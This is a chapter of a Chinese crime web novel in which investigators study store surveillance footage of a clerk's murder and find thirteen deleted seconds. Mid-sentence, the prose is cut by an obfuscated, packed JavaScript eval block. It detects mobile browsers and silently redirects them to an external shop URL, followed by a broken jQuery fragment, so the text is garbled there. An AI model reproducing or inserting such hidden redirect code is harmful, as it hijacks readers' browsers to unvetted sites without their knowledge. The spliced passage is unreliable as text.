自动门又响了一次。
这回出来的是个年轻店员，怀里抱着一箱纸杯。箱子挡住了她半张脸，只露出一双泛红的眼睛。她本来急着往仓库走，看见花边站着的人，脚步一下停住。
纸杯在箱子里轻轻晃了一声。
不死途没有靠近，只问：“你认识她？”
店员点头。
箱子边缘被她攥得有些变形。
“她前天还说，等新年排班结束，就去看房子。”她声音压得很低，“那边贵一点，但是楼下没有那个人。”
话说到这里，嘴唇很快抿住。收银台那边有人喊了一声“加热好了”，便利店里的灯光白得发冷，微波炉停转后的提示音短促地响了一下。
不死途看向店内。
“这位女士，请允许我以不死神探事务所在外的名声，调取贵店当天的监控。”老白有礼貌地向她致意。
“异防部已经拷走了。”店员立刻说。那句话显然被她重复过很多次，吐出来时很熟练，也很疲惫。
归零绕到纸箱旁边，光点上下晃了晃。
“我们不碰原件，只看备份。看完就走，不给你们店长找新的屁事。”
店员怔了一下。
老白抬眼看归零：“你这算安慰？”
“比你强。你刚才那句一出口，她差点以为我们来拆店。”
“我那是合理质疑。”
“你那叫火上浇猴毛。”
店员的紧张被打散了一点。她回头看了一眼收银台，临时工正低头给客人装饭团，店长不在。
“店长说，不要再惹事。”她小声说。
不死途的声音很低：“不问她私事。”
店员抬起头。
“也不看她倒下那段。”
纸杯箱慢慢放低。接着，她让开了门。
“那……你们进来吧。”
后面的办公室很小，货箱占了大半位置，监控屏幕被挤在旧桌上。桌角有半杯冷掉的速溶咖啡，表面结了一层很薄的褐色膜。墙上贴着排班表，千夏的名字还留在上面，被人用笔划掉了。
年轻店员坐到监控屏前，手指放上鼠标时停了一下：“我不想再看那段。”
归零飘到屏幕边。
“我会折掉。”她顿了顿，“放心，我骂归骂，不拿死人当素材。”
店员看了她一眼，点点头。
画面从案发前二十分钟开始。
千夏站在柜台后面，低头数硬币。找零，扫码，弯腰拿收据纸，把一排口香糖摆整齐。动作都很熟，不快，也没有出错。
只有眼睛会往门口偏。
一次。
两次。
第三次时，对面街灯亮了一下，照出马路边的男人。
帽檐压着，手插在外套口袋里。十七分钟里，他没有进店，也没有离开。行人从旁边经过，有人回头，有人绕开，很快都走远。
店员站在后面，声音发紧。
“他经常这样。”
老白问：“店员小姐，你们报过吗？”
“报过。可他就站在那里。没有打人，没有砸东西，也没有骂人。”她低下头，“管理员说，他只是追求者。”
归零的光点猛地亮了一下。
“追求者？这叫追求者？”
店员没有回嘴。那不是她说的。
那不是她说的。归零也意识到了这一点，声音收住，只剩一句低骂：“烂系统养烂人。”
屏幕里的千夏换好了收据纸。对面大屏的广告光扫过玻璃，把她的脸照白了一瞬。她抬头，看向门外，又低头继续整理货架。
案发前十一分钟，马路边的男人动了。
他穿过街，停在自动门外。没有进去，只站着。右手还在口袋里，肩膀绷得很紧。
归零忽然压低声音。
“停。”
画面定住。
没人问为什么。办公室里的旧灯管嗡嗡响，前台传来塑料袋被撑开的声音，自动门开合两次，提示音一前一后。
归零把时间轴拖长。
屏幕边缘有半个人影，只有一截袖口和肩线，正要从嫌疑人身后擦过去。下一帧，画面跳了一下。
幅度很小，旧监控经常这样卡顿。可归零把前后两帧并在一起时，所有人都看清楚了。
前一帧，嫌疑人的手还在口袋里。
后一帧，手拿了出来，指尖发抖。
老白低声：“少了？”
归零的声音绷着火气：“十三秒。好巧啊，偏偏少这十三秒。”
不死途盯着屏幕边缘那半个人影：“能还原多少？”
“破监控，低码率，压缩过三次，备份还被拷坏了一层。”归零骂完，光点贴近屏幕，“能刮出一点皮。”
店员听不懂这些词，往后退了半步。
时间轴被一帧一帧拆开。模糊的色块浮出来，边缘抖动，白光拖成碎片。十几秒的空缺里，只剩下一些残影：袖口，手指，一点白色包装，自动门玻璃上反出来的半截编号。
没有完整的脸。
没有声音。
也没有刀。
归零把那点白色放到最大。
“旧版神经贴片。”她咬字很重，都有点咬牙切齿的感觉了，“批号缺了一半。”
老白看向不死途。
“刀是他自己带的。”
“嗯。”
“这个呢？”
屏幕里，千夏还在柜台后面。收据纸已经装好，她低头检查机器，马尾垂在肩侧。门外，那个男人收下了白色包装。
再过十分钟，自动门会打开。
叮咚。
不死途看着那一小块被复原出来的残影。
“有人替他把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718608|208559||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
门推开了。”
归零保存画面，文件名敲得很快。
【便利店缺少了十三秒，谁删谁死】
老白瞥了一眼：“这个名字能交给异防部？”
“当然不能。”归零说，“给他们的是副本。这个是我自己看的。”
“查他的行动轨迹。”不死途起身。
“已经在查。你刚才说话的时候我就动手了。”归零的光点在半空划了一圈，“别夸，我知道我很能干。”
几秒后，一串记录浮出来。
案发前一天。
精神疗养科附近。
停留十七分钟。
无正式就诊记录。
无挂号。
无访客登记。
办公室里安静下来。店员的手指攥着衣角。
“精神疗养科？”老白皱起脸。
“嗯。”归零冷笑一声，“一个没有挂号、没有登记、没有就诊记录的人，在精神疗养科附近待了十七分钟。”
不死途没有立刻说话。他的目光落到排班表上。千夏的名字旁边，本来写着新年夜班。日期还在，名字被划掉了。旁边另一个名字是临时补上去的，笔迹重得多。
店员忽然从纸箱上撕下一张便利店便签，低头写了一串地址。
“这是她之前想去看的房子。”她把便签递过来，“她说，新年以后就去问。”
便签背面印着促销字样。
欢庆倒数夜。
不死途接过来，折好，放进口袋。
“谢谢。”
店员摇摇头，嗓子有点沙哑：“你们能不能……”她停了一下，“别让他们再说她收了东西？”
老白这次没抢话。
“我们会查清楚。”不死途看着她。
这不是安慰人的话，听上去也不暖。可店员点了点头，转身打开办公室门。
外面的自动门又响。
叮咚。
门口的花被风吹歪了一点。一张便签从包装纸下面滑出来，贴着地面滚到警戒线旁。
不是你的错。
那几个字停在风里。
不死途看了一会儿，收回视线。
“不去疗养科。”他说。
老白抬头：“那去哪？”
便利店的灯从身后照出来，街边广告屏正切到下一轮新年倒数。
不死途往前走。
“先去看凶手。”
归零跟上，声音沉下来：“你怀疑他不是装的？”
“我怀疑，”不死途说，“有人教他怎么装成真的。”
小光点在他肩侧停了半秒，冷冷骂了一句。
“那可真是门好生意。杀人送台阶，下单包脱罪。”
没有人接话。
电视塔的大屏在远处亮起来。
新年倒数。
全城同庆。